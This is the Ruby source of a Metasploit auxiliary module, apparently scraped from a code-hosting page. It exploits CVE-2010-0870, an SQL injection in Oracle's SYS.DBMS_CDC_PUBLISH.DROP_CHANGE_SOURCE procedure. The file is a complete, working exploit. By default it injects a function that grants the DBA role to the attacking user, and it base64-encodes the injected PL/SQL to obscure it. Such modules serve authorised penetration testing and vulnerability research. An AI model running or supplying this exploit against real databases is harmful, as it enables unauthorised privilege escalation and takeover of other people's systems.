Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',13'Description' => %q{14The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE15procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege16on the vulnerable package can exploit this vulnerability. By default, users granted17EXECUTE_CATALOG_ROLE have the required privilege.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2010-0870' ],23[ 'OSVDB', '63772'],24[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ]25],26'DisclosureDate' => '2010-04-26',27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [IOC_IN_LOGS],30'Reliability' => []31}32)33)3435register_options(36[37OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),38]39)40end4142def run43return if !check_dependencies4445name = Rex::Text.rand_text_alpha_upper(1..10)46var1 = Rex::Text.rand_text_alpha_upper(1..10)47var2 = Rex::Text.rand_text_alpha_upper(1..10)4849function = "50CREATE OR REPLACE FUNCTION #{name}51RETURN VARCHAR2 AUTHID CURRENT_USER52IS53PRAGMA AUTONOMOUS_TRANSACTION;54BEGIN55EXECUTE IMMEDIATE '#{datastore['SQL']}';56COMMIT;57RETURN NULL;58END;59"6061package = "62BEGIN63SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE('''||'||user||'.#{name}||''');64END;65"6667uno = Rex::Text.encode_base64(function)68dos = Rex::Text.encode_base64(package)6970encoded_sql = %|71DECLARE72#{var1} VARCHAR2(32767);73#{var2} VARCHAR2(32767);74BEGIN75#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));76EXECUTE IMMEDIATE #{var1};77#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));78EXECUTE IMMEDIATE #{var2};79END;80|8182print_status('Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...')83prepare_exec(encoded_sql)84print_status('Done...')85end86end878889